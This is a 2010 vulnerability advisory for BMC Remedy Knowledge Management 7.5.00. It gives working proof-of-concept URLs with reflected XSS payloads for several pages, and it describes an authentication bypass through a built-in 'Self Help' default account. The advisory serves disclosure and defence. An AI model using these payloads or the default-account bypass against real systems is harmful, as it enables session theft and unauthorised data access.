Vulnerability found:
17 July 2010

Vendor informed:
19 July 2010

Severity level:
High

Credits:
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


Description:
BMC Remedy Knowledge Management provides service desk analysts with a knowledge base of easy-to-find solutions and gives users self-service search options to help them resolve issues on their own. ProCheckUp has discovered that multiple Remedy Knowledge Management pages are vulnerable to reflective XSS attacks, a built in self help account allows for authentication bypass.

Version: 7.5.00 was found to be vulnerable - http://www.bmc.com/

Proof of concept:
1) The following demonstrate the reflective XSS flaws

https://target-domain.foo/rkm/external.jsp?doc='%3balert(1)//&user=Self+Help

https://target-domain.foo/rkm/search.jsp?user=Self+Help&startDate=\'%3balert(1)//

https://target-domain.foo/rkm/usersettings.jsp?"><script>alert(1)</script>

https://target-domain.foo/rkm/viewdoc.jsp?doc=><script>alert(1)</script>&user=Self%20Help

Works on IE - login screen referrer XSS
https://target-domain.foo/rkm/AttachmentServlet?="><script>alert(1)</script>

Consequences:
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to Remedy Knowledge Management based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

2) Remedy Knowledge Management is vulnerable to authentication bypass by using a built in default account. (user=Self%20Help)

https://target-domain.foo/rkm/index.jsp?user=Self%20Help

The following directory requires a password to authenticate only
https://target-domain.foo/rkm/configuration


Consequences:
An attacker may be able to gain access to data held within a Remedy Knowledge Managment based site.

Legal:
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Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.